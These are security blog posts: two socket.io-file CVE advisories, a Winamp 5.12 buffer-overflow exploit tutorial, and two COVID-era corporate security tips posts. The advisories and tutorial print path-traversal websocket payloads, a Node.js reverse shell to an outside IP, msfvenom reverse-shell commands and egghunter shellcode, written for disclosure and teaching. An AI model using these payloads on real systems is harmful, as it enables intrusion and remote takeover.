[CVE-2020-24807] File Type Restriction Bypass in Socket.io-file NPM module

Title: File Type Restriction Bypass in Socket.io-file NPM module
Date: 31/07/2020
CVE-ID: 2020-24807
Advisory: https://github.com/advisories/GHSA-6495-8jvh-f28x
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept:

During some of our pentests, we face applications that are well secured with not so many misconfigurations. That means that we have to dig deeper, if the time frame allows it. In one of our pentest we faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but in that case the client made use of Socket.io.

One of the main functionalities of the web application was file upload, and for that reason it used the Socket.io-file NPM module. For more info about the last vulnerability we discovered in this module, you can read the post here. In a sentence, there is a path traversal vulnerability which allowed us to upload files in any path of the system, considering the user that the web server was running on.

This by itself can supply remote code execution, considering that we can possibly wright the ssh_config file, or even the /etc/passwd and /etc/shadow files. But this is the case only in web servers that run with root privileges, so we had to dig deeper for more if we wanted to have remote code execution with a less privileged user.

Hence the file type restriction bypass vulnerability in the Socket.io-file module, which allowed us to bypass the file type restrictions specified in the modules configuration. That way we were able to upload any file type and by adjusting to the underlying configuration, upload the proper shell to obtain remote code execution to the underlying system.

Client and project aside, the upload functionality of socket.io-file is once more vulnerable to improper input validation in a different part of the code, allowing attackers to bypass file type restrictions and it allows them to upload files types of their choice in the underlying system.

Description of Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, checks for the file type of the file (supplied by the socket.io-file configuration) and acts accordingly (accepts or discards the upload request):

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
}
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj);
self.emit('complete', emitObj);

As an example, if the user uploads a file with the name “testfile.mp3” (with the applied configuration only allowing .mp3 files), a new .mp3 file will be created. As the aforementioned code makes the check only on the client side and before the websocket request gets created, the upload request can be intercepted and the file name altered in a way that allows us to alter the file type of the created file in the server. The following example exploits this issue:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order to bypass the client side restriction, we have to rename the original file with the file type that is accepted by the web application (in this case .mp3). After we intercept the request, we can change the file type to the original one (e.g. .php), and no checks will be made in the server side. This will have as a result the creation of a .php file in the underlying system, which means that the file type checks has been bypassed.

Additionally, we can combine this attack with our previously disclosed path traversal vulnerability, which in certain configurations can result in code execution in the underlying system as we can see in the next section.

Combining Vulnerabilities to Obtain RCE

Now that we can upload any file type in any server folder we want to, it means that in certain configurations we can acquire code execution in the underlying system.

Case 1: Changing the configuration files.

One of the things we can do is alter the configuration files, add malicious javascript libraries in the webserver and alter the index.html in order to load them. A good example will be to alter the index.html file by copying the contents of it and adding a <script> tag to include a js file in it.

After that we can also upload a .js file (the one that we include in the index.html file, which is loaded by the server) which will include the following code:

(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “10.17.26.64”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

This reverse shell will work only in certain misconfigured Node.js installations, which are not so rare in the wild. Changing the IP and port of our listener (you can start a listener to your attacking machine with nc -lnvp 8080) and by making the changes mentioned above, we can obtain a reverse shell, where we can execute commands in the underlying system.

Case 2: Exploiting configuration specific vulnerabilities.

There are many different configurations that can exist running the vulnerable module. One of them could be a node.js server running PHP. As crazy as it sounds, there are multipurpose servers that can support this kind of functionality, which are relatively easy to exploit.

To create a PHP reverse shell we can use msfvenom and execute the following command:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

Figure 2: Creating a reverse shell in PHP and starting a listener to receive the connection after the shells execution.

This will create a php file that when executed by the server will supply us with a reverse shell in our listener. To upload the file using our combined vulnerabilities, we can alter the upload websocket request and alter it as follows:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

Figure 3: Original upload request through websockets, versus edited request, in order to change upload directory (using path traversal vulnerability) and file type.

This will upload our file in the public folder of our webserver, which is allowed to be accessed in our configuration. By navigating to the file with our browser, we are able to execute the php shell and get a reverse shell in our attacking machine.

Figure 4: Remote code execution succeeded, after navigating to the newly uploaded shell.

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Create a file which will be of the type that is accepted by the web application. (The contents of the file can be of any type)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding altering the file type of the file, with the desired one:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.php file in the data directory of the current user

Remediation

No fix is currently available. Consider using an alternative package or technology until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 31st of July 2020.

  • Initial Disclosure: 31st July 2020
  • Security Team Validation: 11th August 2020
  • Advisory Release: 2nd October 2020
  • CVE ID was Assigned: 6th October 2020

Originally posted here.

Exploit Development Part 1 – Winamp 5.12 Buffer Overflow in Python (with egghunters)

Hello friend, hello friend,

As you may know, I recently acquired my OSCP and I really fast stepped into OSCE, so right now I am spending my days in my rainy window developing exploits, backdooring and hunting for 0days (yeap, I have some of them too now 😉 ). The biggest issue though, is that CTP is a “bit” outdated for today’s standards. And this is not necessarily bad, as in order to step up to more complex stuff you definitely have to understand the fundamentals. But with those standards that I use in my work, I consider the use of Backtrack, msfencode and others a bit outdated in a bad way. For that reason, I wanted to prepare a guide to exploit development that will better reflect the needs and tools of the 2020 security researcher out there.

Of course, I will not be able to cover everything, not even a part of this HUGE part of security, but if you are interested in exploit development in 2020, maybe this is a good place to start.

From the context of the post you already know that we will be exploiting a known buffer overflow in Winamp 5.12 (you can find the vulnerable version here), and we will be hosting it in a Windows XP SP3 installation (as we do not want to deal with ASLR for now) and for this tutorial I will be using Immunity Debugger  and mona.py but of course you can use the debugger of your choice. (in case you just start with buffer overflows and exploit development, I would highly suggest the awesome series from Corelan that starts from here)

Let’s get it started…

Replicating the Crash

The vulnerability is a buffer overflow in Winamp which happens while processing playlist files of .pls type with long UNC path. In order to start developing our exploit we have to know the structure of the file, and after doing a little research in such files we find out the following:

playlist]\r\nFile1=\\\\ UNC PATH \r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”

Supplying the UNC path with the right amount of data, results in a crash (which we will exploit in order to get code execution), but its a bit sneaky and it acts differently to different buffer lengths. That’s why with some light magic I give you our skeleton code written in Python as the fuzzing is out of scope and will be described in an other post.

#!/usr/bin/python -w

 

filename=”poc.pls”

 

start= “\r\nFile1=\\\\”
buffer = “\x90” * 856 + “\xcc” *166 + “\x41\x41\x41\x41” + “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90″
end=”\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”

exploit = start + buffer + end

textfile = open(filename , ‘w’)
textfile.write(exploit)
textfile.close()

As you can see, we create a new file called poc.pls, we add the head of the file, the buffer and the footer and we save it. As simple as that. 😛

The most complex part of the code is the buffer, so let’s take it part by part:

  • “\x90” * 856 – These are NOPs used to file the buffer and reach the crash point
  • “\xcc” *166 – These are breakpoints placed into the buffer in order to better manipulate the execution later, let’s leave it for now
  • “\x41\x41\x41\x41” – Before this, is the place that the crash happens and these \x41 (As) are the bytes that will overwrite the EIP register as a result of the buffer overflow.
  • “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90” – This is the only available buffer space that we have in order to start the chain of code execution, so you can understand that we have to start doing some magic with such limited space 😉

So by saving and executing this exploit, we get a poc.pls file that we can open with Winamp by going to File -> Play File and selecting this file. But before doing that, open Immunity Debugger and attach to Winamp (File -> Attach and select the winamp process). If the process get poused, hit F9 to start it, and open the poc.pls file normally with Winamp.

Figure 1. Buffer overflow with EIP overwrite.

As we can see from Figure 1, opening our poc, has the following results:

  • EIP register gets overwritten with four As (41414141)
  • ESP points to our 11 byte buffer (in order to see that right click in the ESP register and select follow in DUMP in the top right window of Immunity)

So everything worked as expected from our skeleton exploit, time to get dirty.

Jumping Around

The situation that we are in is a really common one, as we have the ESP register pointing to our user controllable input, and we can easily overwrite EIP, so we need to overwrite the EIP with an address that will jump to the address pointed by the ESP. This can be done with many ways (see more here), but for our case we will use mona.py, an awesome script for that kind of exploitation.

In the input bar that we find in the bottom of immunity debugger, we write:

!mona jmp -r esp

This will supply us with all the available addresses that can execute a jump in the address that ESP points to, which are loaded by Winamp. In order to see the whole list of the addresses that mona found, you have to open the jmp.txt file in Immunity’s installation folder and from there find the proper address you wanna use. Some good points is to start from loaded dll’s that have security mechanisms disabled and that are native to the application, but this is out of scope and you will have to learn it mostly by trial and error. For our purposes, we select the following address:

0x0202d961 : call esp | {PAGE_EXECUTE_READ} [in_mp3.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Program Files\Winamp\Plugins\in_mp3.dll)

As you see this address calls esp and fits our standards, so now we want to change the four As in our exploit with this address in order to overwrite EIP with the call esp instruction. To do so, we change the “\x41\x41\x41\x41” part of our exploit with “\x61\xd9\x02\x02”, and execute the exploit again with the same way. (Before executing the exploit right click in the top right window of Immunity and go to Go to -> Expressions, paste the address of call esp we used 0202d961, and hit F2 to set a breakpoint in this address)

Figure 2. Successful EIP overwrite with the CALL ESP instruction

Executing the exploit we see that we hit our breakpoint and we overwrite our EIP with 0202d961 that points to the Call ESP instruction. SUCCESS. Hitting F7 to step into the next instruction we see that we get directly into the start of our 11 byte buffer and it’s time for our next jump as there is not much space for our shellcode.

As we have a lot of space in the start of our buffer (all those NOPs and breakpoints) one clear option is to jump back into this buffer. To do so we can subtract 176 bytes from ESP and then jump what ESP points to. We can do this with the following assembly code:

SUB ESP, 58

SUB ESP, 58

JMP ESP

So how we implement this in our exploit you ask? Easy, we double click the contents of the address that we stopped the execution because of the breakpoint and add the aforementioned assembly one line at a time hitting enter to save it.

Figure 3. Double clicking at the assembly contents of an address we can alter them.

When we click save, we see that this is translated to the following HEX representation:

83EC 58
83EC 58
FFE4

That we can now add into our exploit, yes you guessed it, in the place of the NOPs that the previous CALL ESP instruction leads to. So now, the buffer variable of our initial exploit will look like this:

buffer = “\x90” * 856 + “\xcc” *166 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

This was our 1st stage shellcode, and now we have a less restrictive space to execute our 2nd stage shellcode, but again not enough to execute a reverse shell for example. In this example, we could easily use some more jumps to further go back in the buffer, but we will try something more complex and definitely more fun.

Making an Omelette

Egghunters is a well-known field for exploit development,  so it has been covered a lot of times by people that make a better and more careful job than me. You can be educated the proper way here and here. I will just give you the higher level understanding and the technical aspects on how to use one in our case and with modern tools.

The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for our final stage shellcode and redirect execution flow to it. The egg hunter contains a user defined 4-byte tag, it will then search through memory until it finds this tag twice repeated (if the tag is “1234” it will look for “12341234”). When it finds the tag it will redirect execution flow to just after the tag and so to our shellcode.

To start, we have to create an egghunter routine with mona.py. To do so we execute:

!mona egg -t cr0w

This means that we created an egghunter that hunts for the cr0wcr0w senescence which will be followed by our final shellcode. The egghunter is the following:

\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

To implement it in our code, we need to replace the first part of the breakpoits (\xcc) of our buffer, as we know that our backward jump lands somewhere in the end of the NOPs, the execution will slide through the NOPs and eventually reach the start of our \xcc part. So now our buffer variable will be the following:

buffer = “\x90” * 856 + “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7” + “\xcc” * 134 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

As you might notice, we decreased the number of \xcc by 32, which is the size of our egghunter. We did this because our buffer overflow is really sensitive as we mentioned in the start, and we have to maintain the buffer length. Now, let’s again run the exploit and see what happens in immunity.

Hmmm. Something is not right. We have an access violation and inspecting the place of the crash closer we see that there is a 00 null byte in a place that it shouldn’t be.

Figure 4. Bad character crashes our egghunter execution.

This is because of a bad character which is converted to a null byte during execution. Comparing our original egghunter with the one in Immunity we see that the character that was filtered out is the “\x2e”.

So now to bypass this issue we have to encode our egghunter shellcode in a way that will be able to bypass this restriction. To do that we will use msfvenom and an alphanumeric encoder. To start we need to wright the egghunter in a .bin file, so execute the following in a Linux machine:

perl -e ‘print “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7″‘ > egghunter.bin

This will create the .bin file containing our egghunter and then we pass it to msfvenom in order to properly encode it:

cat egghunter.bin | msfvenom -p – -a x86 –platform win -e x86/alpha_mixed -f py -v egghunter

Figure 5. Egghunter encoding to avoid bad characters.

As you see, we encoded our egghunter which resulted in an 125 byte payload, that we can easily fit in the space we have available. There are of course more ways to encode our egghunter and to avoid bad characters, but for now let’s stick with it.

We copy our python code in our exploit, add it to our breakpoint buffer space and substract 125 from the total of 166 \xcc that we had in the start. This will result in the following buffer for our exploit:

buffer = “\x90” * 856 + egghunter + “\xcc” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

And if we execute the exploit (and pass all the breakpoints with F7), we can see Immunity running a series of decoding passes and then start searching for the egg. At this point it will not find anything as we haven’t placed the egg into our shellcode so let’s continue our journey 😉

Stage the Third

Now we are in the final stage. We need to create our reverse shell shellcode place it inside the buffer and let the egghunter find it which will lead in its execution. We have a huge buffer space to work with (856 bytes to be precise) which means that we can place the egg in the start of it, and use the rest of the buffer to place our shellcode. Let’s first create the reverse shell shellcode by executing the following:

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.0.20 EXITFUNC=none -f python -b ‘\x00\x2e’ -e x86/alpha_mixed -v shellcode

This will create an alphanumeric encoded reverse shell shellcode that will create a connection from the victim to the attackers machine in port 4444. We copy the generated python code in our exploit and we alter the buffer in the following way:

buffer = “cr0wcr0w” + shellcode + “\x90” * 139 + egghunter + “\x90” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

Some interesting things happened here:

  • As you might remember we set the egg to be cr0w in our egghunter so it will hunt for the cr0wcr0w sequence, that’s why our buffer starts with it. It will search it and move the execution in this place.
  • After the egg we place the shellcode as it will executed directly after the movement of the execution.
  • From the total of 856 NOPs we subtracted the 8 bytes from the egg sequence and the 709 bytes from the generated shellcode (but this number may vary in your case so do the correct calculations here) which resulted in 139 leftover NOPs.
  • Additionally, we altered the breakpoints to be NOPs in order to not stop the execution at any point.

The only thing left to do is start a listener in our attackers machine with:

nc -lnvp 4444

and execute the exploit.

Figure 6. Success.

Success!!! As you see we successfully exploited the Winamp 5.12 UNC path buffer overflow by using egghunters. I will not share the final exploit code as I think you can easily recreated it with the details that I provided and you can easily find it online. Feel free to ask any questions in the comments and believe me, we just started 😉

P.S. This is just a work in progress, I am really sure that I f@cked up somewhere, so if you find something that does not add up please let me know. Happy to receive constructive criticism!!

[CVE-2020-15779] Path Traversal in Socket.io-file NPM module

Title: Path Traversal in Socket.io-file NPM module
Date: 18/05/2020
CVE-ID: CVE-2020-15779
Advisory: https://www.npmjs.com/advisories/1519
Author: Thomas Sermpinis (a.k.a. Cr0wTom)
Websitehttps://cr0wsplace.com
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept: https://www.exploit-db.com/exploits/48713

During one of my penetration tests for a local military equipment supplier while working for Auxilium Cyber Security, I faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the backend system in order to make use of web sockets, but the client made use of Socket.io.

The web application was relatively small, with only a few entry points that did not seem to be vulnerable. All the modules were up to date and my enumeration started to go into a dead end. As there were more days for my pentest, I decided to dig deeper and I started analyzing more the request and researching about the npm modules that were included and were in use in the web application.

One of the functionalities was a configuration file upload, that was stored in a folder in the filesystem, by using the Socket.io-file npm module. Socket.io-file (2.0.31) is a node module for uploading files via the Socket.io module. Playing around with the requests I managed to bypass the restrictions and upload a file in a different folder from the expected one (I knew that as I had access to the back-end of the system).

Client and project aside, the upload functionality of socket.io-file is vulnerable to improper input validation, allowing attackers to bypass upload directory restrictions and it allows them to upload files to paths of their choice in the underlying system.

Description of Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, manages to merge the file path (supplied by the socket.io-file configuration) with the file name that was supplied by the user:

if(typeof options.uploadDir === ‘string’) { uploadDir = path.join(options.uploadDir, filename); }

As an example, if the user uploads a file with the name “testfile.mp3” and the server is configured to store files in the “/home/Documents/socket-app/data” path the resulting path that Socket.io-file will create the file, will be “/home/Documents/socket-app/data/testfile.mp3“. Because the aforementioned code makes no check on the file name, the upload request can be intercepted and the file name altered in a way that will move in certain paths of the system. The following example exploits this issue:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

This request will generate the following path for the file to be stored “/home/Documents/socket-app/data/../testfile.mp3“, which means that the file will be actually be created in the “/home/Documents/socket-app/testfile.mp3” as the ../ characters will move the path one level lower in the filesystem.

Figure 2: File created in the node_modules directory of the filesystem, outside the intended directory.

From this example we can understand that we can write in several sensitive directories like the ~/ home directory (which includes the .ssh folder which allows us to rewrite the ssh configuration), in the root webserver directory (which can help us get a reverse shell under the right circumstances) and the cron directory (where we can inject cron jobs for code execution). Additionally, if the backend system runs with superuser privileges (which is not so uncommon), the attacker can use this vulnerability to create files in even more sensitive paths (e.g. /root and /etc). As an example, we can write the /etc/passwd file of our implementation like the following:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../../../etc/passd”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding ../ and specifying the needed path:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../../../Downloads/testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.mp3 file in the Downloads directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)

Remediation

No fix is currently available. Consider using an alternative package until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), I responsibly disclosed this vulnerability on 18th of May 2020.

  • Initial Disclosure: 18th May 2020
  • Security Team Validation: 18th May 2020
  • Advisory Release: 7th July 2020
  • CVE-ID Assignment: 15th July 2020
  • PoC Release at exploit-db.com: 27th July 2020

Originally posted here.

How to secure your corporate VPN Infrastructure during the COVID-19 epidemic?

This post was originaly posted to my LinkedIn profile here, in cooperation with Auxilium Cyber Security.

COVID-19 still affects our everyday life, with companies being one of the weakest links in the chain. Employees get filled with uncertainty for their future which seriously affects people’s judgment and habits.

In our last post, we discussed phishing and how COVID-19 affected people’s judgment when it comes to emails and malicious links. But people’s judgment is not always the weakest link. Some of the vital parts of working from home may be affected by misconfiguration issues or even bad choices of products and one of these parts is Virtual Private Networks used to connect employees securely with the company’s assets. We, in Auxilium Cyber Security, have years of experience in VPN architecture, setup, configuration, and security and we wanted to share our best tips on how to keep your VPN infrastructure secure during COVID-19 days and not.

VPNs are not new technology. People all over the world use VPNs for privacy concerns, censorship and malicious acts amongst others. But now that almost all employees work from home, VPNs seem mandatory and for a good reason. They can create a direct connection from one place another (e.g. from the employee’s laptop to the company’s private network) which will encrypt the communication, so MITM attacks, data leaks from network tampering and other attacks like these can be avoided.

But as with our phishing related issues, VPN choices and set-up can result in serious security implications. Our experience in secure implementations of VPN infrastructures and testing makes us believe that many companies have misconfiguration issues, because of the complexity of such systems and the overload of different options. To strengthen the security of a VPN infrastructure, Auxilium Cyber Security suggests the following moves:

  1. Keep your products up to date. As discussed in our last post, many entry points for malicious users are achieved by exploiting outdated client, or even server, applications. Users will need to follow strict policies when working from home, and one of them must definitely be to update their VPN client application that they use to connect to the corporate network.
  2. Use multi-factor authentication. Multi-factor authentication like SMS codes and hardware keys are usually ignored as they present additional complexity for novice users. But novice users usually use weak passwords or even keep their passwords in unsecure places. This means that a single employee with a weak password can be the way in for an attacker to your corporate network, and even in cases of strong passwords, ignorant and uneducated employees can be easily phished for an easy way into the network. Presenting MFA, can strengthen the VPN implementation and move part of the liability to the company, instead of employees.
  3. Implement scheduled testing. VPN software and services are one of the most targeted technologies currently by malicious users, as more and more people use them every day. This means that updates and security research in this field runs with the speed of light, and proper security testing has to be scheduled. Auxilium Cyber Security has years of experience in secure network architecture and testing of VPN implementations, which can help your company design, implement and test your VPN if it is your first time with this technology or even if you want to comply with current security standards.
  4. Prevent DDoS attacks on your VPN server. Many denial of service attacks can target your VPN server. DoS attacks can result in limited availability or no service at all, and possibly serious implications for many users and positions inside the company, if the network is down. This means that this is a serious issue, and it has to be treated delicately. In order to prevent those issues, a suitable and well crafted DDoS policy has to be implemented which will be the result of real-time visibility and proper tuning of the server. Different devices have to be monitored efficiently and session timeouts have to be implemented according to the requirements of the network.

VPN security is mostly a company’s issue with many critical options to be taken. The most popular and widespread implementations are highly customizable, which opens a huge conversation about security, privacy and cryptography, something that can really mess up a VPN implementation. Leaving unrelated to IT employees aside, companies and IT departments are also in need of proper education, especially in times of crisis, where security implications become more and more common.

It may seem huge, alongside all the other issues that surfaced with the pandemic, but with those simple steps, a company can remain secure and be more sure about the mandatory measures that most of us are obliged to follow for the common good. We hope that these tips will help most of us stay secure, but for the ones that are uncertain about it, we strongly believe that our experience can benefit you. For VPN architecture, design, implementation, security testing, and others, feel free to contact us. Stay safe, stay home, stay secure.

Thomas Sermpinis for Auxilium Cyber Security

How to secure your corporate ICT during the COVID-19 epidemic?

This post was originaly posted to my LinkedIn profile here, in cooperation with Auxilium Cyber Security.

With novel coronavirus cases on the rise, people get filled with fear and uncertainty. This seriously impacts all the aspects of our everyday life, and as a result, that of our working life.

Auxilium Cyber Security has a long experience with simulated phishing campaigns, testing the readiness of its clients at regular intervals, which resulted in a good understanding, and a good amount of data, to support the understanding of the human factor in the cybersecurity aspect of a company.

Watching the huge increase of Covid-19 related malicious emails, targeting individuals and companies, it seemed like a necessity to run Covid-19 related tests and see how this situation can affect employee’s readiness and reflexes.

The results were surprising. With an average of less than 5% of users marked as phish-prone on the last, unrelated to Covid-19 tests, now the percentage skyrocketed to almost half of its users, which is a huge topic of discussion that every company using web technologies and online communication, has to consider. This is an expected outcome, which derives from the current world crisis, but supporting data and this kind of results help us better understand the situation in deep and have a clear and detailed view of what policies we need to apply and the additional steps that companies have to follow.

Previously discussed topics about phishing apply to the current situation too, but the following simple steps can help any company lower its phish-prone stats, and be more secure.

  1. Keep your employees updated. The human factor is the most vulnerable part of your infrastructure. Even with the most updated systems, the strongest security policies and security tests all over the place, a single employee that is not well educated can create a huge security issue. And because of the effect that crisis periods have on employee judgment, like the one that we are experiencing right now, companies have to update their education policies and adapt to the needs of each crisis.
  2. Update your stats. Running scheduled simulated phishing campaigns can help companies have a better understanding of how their staff performs on a frequent basis and understand the impact that a crisis situation can have. Auxilium Cyber Security with years of experience in simulated phishing campaigns and social engineering can help you perform this kind of tests and interpret the results in real-world impact on each company and its assets.
  3. Educate your employees regarding each scenario. Even if employees are updated and secure, crisis situations may affect them in ways that no one can imagine. This is why education has to be adapted to each situation, and companies need to act fast, in order to lower the impact of unexpected factors. Auxilium Cyber Security has years of experience in employee security education, which is customized in each customer’s needs and assets, which is based on years of tests and statistics.

It is common for companies to ignore cybersecurity when other factors can impact a company’s existence, but there may be a huge economic impact if they do not get used to act proactively and plan for the risk management. We have seen until now that the biggest effect that Covid-19 had to companies, was for them to change their way of working to “work from home”. Many companies were not ready for this either, with many of them struggling to find a way to communicate, connect to their networks, access files securely, etc.

Looking at the big picture, and covering the topic of securely working from home at a high level, some simple tips that every company can follow are the following:

  1. Use encrypted channels of communication and VPN connections. Working from home companies lose control of the network that their employees are connected to. In such cases, the first thing that has to be established is that employees use encrypted channels of communication, in order to avoid adversaries trying to steal information in not well-secured networks, like a home or shared one.
  2. Implement a web filtering policy. Devices used specifically for company reasons, have to be restricted in what they can browse and what they can do, in cases of work from home situations. This can be achieved with a mandatory VPN connection to the company that will filter the connections and restrict malicious and unwanted traffic.
  3. Encrypt work devices. Devices that are meant for work, like laptops and smartphones, can easily land in the hands of malicious users, when employees work from home for long periods of time. Having a drive encryption policy (even the default OS one, like FileVault for MacOS and BitLocker for Windows) can help a company secure its assets, and avoid pointless data leaks.
  4. Use a secure and shared cloud storage. Sharing files remotely becomes mandatory when working from home. This means that a secure cloud solution has to be used in order to share files fast and efficiently. When searching for your next cloud solution consider SSL encryption in the cloud provider’s website as a must, file encryption capabilities for private documents and a highly editable group policy for your users.
  5. Implement mandatory scheduled security scans. Devices that are not located in the work environment, can be used for many things other than work. This means that the attack surface can be wider with hardware devices, malicious downloads and physical access from malicious users being the biggest issues. For that reason, implement scheduled security scans (for example once a week), in order to manage potential security risks.
  6. Implement a more strict update policy. Client devices tend to stay outdated for long, which means that they can get vulnerable really easily and from one day to another. Implement an update policy and remind employees to keep their OS and all their applications up to date, in order to avoid security implications.

The current crisis situation can be overwhelming for everyone. IT departments get overloaded with requests and new tasks get created to support working from home. At the same time, working from home creates a whole new attack surface for companies, that malicious users can easily exploit. As big as it seems, there is only a handful of easy steps that a company has to follow in order to up its security game and be more sure about its assets and the headaches that a crisis can create. Stay safe, stay home, stay secure.

Thomas Sermpinis for Auxilium Cyber Security